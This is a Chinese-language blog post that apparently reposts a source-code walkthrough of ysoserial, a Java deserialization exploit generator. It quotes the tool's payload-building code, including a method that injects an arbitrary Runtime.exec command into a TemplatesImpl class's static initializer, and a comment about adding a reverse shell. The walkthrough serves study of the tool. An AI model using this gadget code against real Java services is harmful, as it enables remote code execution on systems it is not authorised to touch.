源码分析|SpringKill的原创ysoserial源码详解

admin 2024年1月10日16:46:50评论21 views字数 10527阅读35分5秒阅读模式

此文章由SpringKiller安全研究师傅产出,这位佬是一个能独立开发一款企业级IAST,伸手0day伸脚1day,能手搓操作系统用脚逆向的师傅,还是OWASP的代码贡献者之一。哦,差点忘了,这个师傅能书会画,上厅堂下厨房无所不能,呆哥建议爱学习的可以找他击剑一下。

SpringKill师傅的Github地址:https://github.com/springkill

这位爷说:“IAST后端基本写的差不多了,所以为了写前端,最近正在学习electron,想先拿个东西练练手,于是打算为ysoserial做一个前端界面同时加一些自己的特性,那么既然要二开必然要学习原项目,那么顺手写个文章方便以后复习。”

01

代码结构

ysorerial的代码结构如下,包括这三个块:exploitpayloadssecmgr源码分析|SpringKill的原创ysoserial源码详解

下面来简单介绍一下每个块的具体用途。

02

exploit包

这个包内的内容主要用于对不同的目标进行实际的攻击。

03

 payloads包

01

 annnotation包

这个包内主要包含了一些注解相关的信息,主要用力标识作者之类的提示信息。

 1.  Authors注解

这个文件定义了一个注解,其中包含了一些作者信息,是用来标记gadgate的作者的,没什么特别好说的。

 2.  Dependencies注解

 检索依赖信息的注解。

 3.  PayloadTest注解

用来标记gadgate是否需要被测试,是否测试的时候会引发什么异常情况之类的东西,是用来测试gadgate的。

02

 Util包

 1.  ClassFiles类

Util模块是一个工具模块,里面包含了像类文件操作,反射操作等的小工具,为yso中大量使用的重复性操作做一个封装。

 ClassFiles类

ClassFiles类的作用是处理类文件,在ysoserial中经常会涉及到类文件读取的操作,因此将其放在了一个单独的类里面方便使用,详细说说其中的各种方法。

  • classAsFile方法

public static String classAsFile(final Class<?> clazz) {    return classAsFile(clazz, true);  }  public static String classAsFile(final Class<?> clazz, boolean suffix) {    String str;    if (clazz.getEnclosingClass() == null) {      str = clazz.getName().replace(".", "/");    } else {      str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();    }    if (suffix) {      str += ".class";          }    return str;    }

 classAsFile方法有两个重载,总的来说是获取class的路径用的,这个方法在处理反射、类加载器、或者需要根据类名获取类文件路径的场景中非常有用。例如,在自定义类加载器或进行字节码分析时,这种将类名转换为类文件路径的功能是非常基础且重要的。第二个重载也就是核心所在,通过getEnclosingClass()方法获取传入的是否是内部类,如果不是那么直接返回如com/springkill/clazz这样的字段,如果是那么就返回com/springkill/clazz$1这样的字段,然后根据suffix表示的内容判断在末尾是否加上.class的后缀。

  • classAsBytes方法

public static byte[] classAsBytes(final Class<?> clazz) {  try {    final byte[] buffer = new byte[1024];    final String file = classAsFile(clazz);    final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);    if (in == null) {      throw new IOException("couldn't find '" + file + "'");    }    final ByteArrayOutputStream out = new ByteArrayOutputStream();    int len;    while ((len = in.read(buffer)) != -1) {      out.write(buffer, 0, len);    }    return out.toByteArray();  } catch (IOException e) {    throw new RuntimeException(e);  }}

这个方法就是简单的将类转换为byte[]供后面使用。

 2. Gadgets类

总的来说这个类包含了多个方法,主要用于动态创建和操作Java对象。先说两个内部类:

内部类:StubTransletPayload类

这个内部类用于演示反序列化,继承自AbstractTranslet类,并且实现了transform方法,为后面的操作提供一个看起来无害的"载体"。

内部类:Foo类

定义了序列化版本,没有多余操作,后文将作为辅助类使用。

类中的方法
  • 静态代码块区

这块代码初始化了两个系统属性分别允许TemplatesImpl的反序列化和允许RMI远程加载。

  • createMemoitizedProxycreateProxy方法

public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {  return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);}//创建一个自定义sun.reflect.annotation.AnnotationInvocationHandler实例public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {  return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);}//动态创建代理,实现所有给定接口public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {  final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);  allIfaces[ 0 ] = iface;  if ( ifaces.length > 0 ) {    System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);  }  //使用cast进行类型转换  return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));}

这两个方法创建了任意代理类,实现了动态创建任意接口的实现并且进行自定义,其中调用的createMemoizedInvocationHandler方法创建一个自定义的sun.reflect.annotation.AnnotationInvocationHandler实例,然后通过createProxy创建一个代理类。

  • createMap方法

使用给定的keyvalue创建一个HashMap,因为ysoserial在使用过程中需要频繁地创建HashMap所以将这个操作封装。

  • 两个createTemplatesImpl方法

public static Object createTemplatesImpl ( final String command ) throws Exception {  //检查properXalan的值是否被设定为了True,如果是那么就使用if块内的逻辑,否则调用重载方法  if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {    return createTemplatesImpl(      command,      Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),      Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),      Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));  }  return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);}public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )throws Exception {  //反射创建实例  final T templates = tplClass.newInstance();  // use template gadget class  ClassPool pool = ClassPool.getDefault();  pool.insertClassPath(new ClassClassPath( StubTransletPayload.class));  pool.insertClassPath(new ClassClassPath(abstTranslet));  final CtClass clazz = pool.get(StubTransletPayload.class.getName());  // run command in static initializer  // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections  // 初始化cmd字符串  String cmd = "java.lang.Runtime.getRuntime().exec("" +  command.replace("\", "\\").replace(""", "\"") +  "");";  // 插入cmd到静态代码块  clazz.makeClassInitializer().insertAfter(cmd);  // 给类设置名字 sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)  clazz.setName("ysoserial.Pwner" + System.nanoTime());  // 设置父类  CtClass superC = pool.get(abstTranslet.getName());  clazz.setSuperclass(superC);  // 转换为字节码数组  final byte[] classBytes = clazz.toBytecode();  // inject class bytes into instance  Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {    classBytes, ClassFiles.classAsBytes(Foo.class)  });  // required to make TemplatesImpl happy  Reflections.setFieldValue(templates, "_name", "Pwnr");  Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());  return templates;}

这个类主要是用来初始化TemplatesImpl的。第一个createTemplatesImpl方法通过检查properXalan属性的值来判断是使用内置的org.apache.xalan.xsltc.trax.TemplatesImpl还是使用外部 Apache Xalan 项目提供的类(这并不是一个标准的官方系统属性),如果为True那么就使用重载方法传入的类。那么再来说说重载方法,先实例化了一个templates,然后使用Javassist进行字节码操作,创建一个ClassPool的实例,然后将内部类StubTransletPayload.class和传入的abstTranslet放入其中,然后获取StubTransletPayloadCtClass表示clazzCtClassJavassist中表示类的对象),然后将command包装成Runtime执行命令的代码,最后插入到clazz的静态代码块中,最后修改clazz的父类,并将clazz转换为字节码数组。以上准备工作做完后开始使用反射修改templates_bytecodes字段,将刚才准备好的clazz的字节码表示和内部类Foo写入其中,然后设置_name字段和_tfactory字段,其中_tfactory字段需要一个TransformerFactoryImpl实例,由传入的transFactory类使用反射来创建。

  • makeMap方法

public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,IllegalAccessException, InvocationTargetException {  HashMap s = new HashMap();  // 反射设置size字段为2  Reflections.setFieldValue(s, "size", 2);  Class nodeC;  try {    // 对于Java8之后的HashMap,获取java.util.HashMap$Node    nodeC = Class.forName("java.util.HashMap$Node");  }  catch ( ClassNotFoundException e ) {    // 对于Java8之前的HashMap,获取java.util.HashMap$Entry    nodeC = Class.forName("java.util.HashMap$Entry");  }  // 获取构造函数并设置setAccessible以供直接访问,创建节点  Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);  Reflections.setAccessible(nodeCons);  // 创建数组用来存储nodeC节点  Object tbl = Array.newInstance(nodeC, 2);  // 将v1和v2作为key、value放入到节点中,然后再插入法哦数组内,最后将数组放到HashMap中  Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));  Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));  Reflections.setFieldValue(s, "table", tbl);  return s;}

这个类用来初始化HashMap实例,首先创建一个HashMap然后设置其大小为2,根据JDK版本的不同决定nodeC的类型然后获取对应的构造函数,之后创建一个大小为2的数组将两个节点初始化后放入(节点的keyvalue都为v1v2),最后将数组放入HashMap中并返回。

3.  JavaVersion类

这个没什么好说的,就是检测Java版本用的。

4.  PayloadRunner类

这个类看名字就知道是测试payload用的,执行一次序列化和反序列化的过程,看能否达到预期的目的,不过多说。

5.  Reflections类

这个类是将yso中经常使用的反射操作做一个封装来方便使用。

  • setAccessible方法

这个方法根据使用Java版本的不同为传入的member执行setAccessible操作,来修改FieldMethodConstructor的可访问性。

  • getField方法

获取指定类及其父类中声明的特定字段。如果在当前类中找不到字段,会递归地在其夫类中查找。

  • setFieldValuegetFieldValue方法

这两个方法分别用于设置和获取对象的指定字段值。它们使用getField来访问字段,然后调用Field.setField.get来修改或检索值。

  • getFirstCtor方法和newInstance方法

获取构造函数和创建其对应的实例所使用的方法。

  • createWithoutConstructor方法和createWithConstructor方法

public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {  return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);}@SuppressWarnings ( {"unchecked"} )public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {  Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);  setAccessible(objCons);  // 生成伪构造函数  Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);  setAccessible(sc);  return (T)sc.newInstance(consArgs);}

这两个方法比较有意思,createWithConstructor使用了newConstructorForSerialization方法创建一个伪构造函数,然后实例化并返回。

newConstructorForSerialization方法不需要对应的类有默认构造函数,也不需要真正地执行构造函数就可以直接创建一个对象实例。因为它通过字节码的形式生成了ConstructorAccessor接口。

03

 ObjectPayload接口

这个接口是所有payload的父类,也就是链子具体实现的父类,接口本身没什么,不过它里面还有一个Utils的内部类,可以详细说说这个内部类中的各种方法。

  • getPayloadClasses方法

该方法用来查找和返回所有实现了ObjectPayload接口的类,没什么特别的。

  • getPayloadClass方法

通过名字加载具体的链子实现,并且判断是不是ObjectPayload的子类,如果不是则不加载。

  • makePayloadObject方法

使用getPayloadClass方法获取具体的链子的类,然后将其实例化。

  • 两个releasePayload方法

用来清理Payload

04

ReleaseableObjectPayload接口

 这个接口是用来和releasePayload方法配合使用,用来清理释放指定Payload的。

04

secmgr包

 这个包里面包含了两个SecurityManager的子类,用来更改安全检查的一些逻辑。

01

 DelegateSecurityManager类

作为一个代理,继承自SecurityManage,指定一个SecurityManager实例进行安全检查用。前面为了支持JDK10以后的兼容性,将getInCheckcheckTopLevelWindowcheckSystemClipboardAccesscheckAwtEventQueueAccesscheckMemberAccess的具体实现清空。然后重写了SecurityManager中的很多方法,将其具体处理委托给成员变量securityManager

02

ExecCheckingSecurityManager类

这个类同样继承自SecurityManage类,用来检查是否执行命令,并决定是否抛出异常。

03

Deserializer类

这个类封装了在yso中经常使用的反序列化操作,这段代码和前面的PayloadRunner配合使用来测试payload

public class Deserializer implements Callable<Object> {  private final byte[] bytes;  // 将接受的字节数组存入成员变量  public Deserializer(byte[] bytes) { this.bytes = bytes; }  // 实现call方法,调用时反序列化字节数组  public Object call() throws Exception {    return deserialize(bytes);  }  // 数组转换为流  public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {    final ByteArrayInputStream in = new ByteArrayInputStream(serialized);    return deserialize(in);  }  // readobject  public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {    final ObjectInputStream objIn = new ObjectInputStream(in);    return objIn.readObject();  }  // 入口  public static void main(String[] args) throws ClassNotFoundException, IOException {    final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));    Object object = deserialize(in);  }}

04

 Serializer类

这个类封装了yso中经常使用的序列化操作,提供便捷,和上面的Deserializer类很相似,不过多说明。

05

 GeneratePayload类

名字上看就是生成Payload使用的类,简单说下。

  • mian方法

mian方法接受命令行参数来选择链和命令,然后实例化并序列化后返回,如果失败则返回前面定义好的状态码然后退出程序。

  • printUsage方法

用来打印yso的使用方法,不过多说了。

06

Strings类

 这个类就是将一些常用的字符串方法进行一个封装,如连接,重复,格式化、比较操作。

05

Yso是如何运作的?

 那么说了上面很多的包以及类,肯定有的小伙伴听完还是一头雾水,下面就用一张图说明下yso具体是怎么运作的吧!

源码分析|SpringKill的原创ysoserial源码详解由控制台进行输入,获取gadget和需要执行的命令传入到入口GeneratePayload中,然后由GeneratePayload调用具体的ObjectPayload接口的实现来获取实例,在这个过程中ObjectPayload又去调用了GadgetsReflections等进行初始化然后将对象返回给GeneratePayload,最后GeneratePayload调用Serializer的序列化方法将其序列化后返回并打印到控制台。

原文始发于微信公众号(阿呆攻防):源码分析|SpringKill的原创ysoserial源码详解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月10日16:46:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   源码分析|SpringKill的原创ysoserial源码详解http://cn-sec.com/archives/2226682.html

发表评论

匿名网友 填写信息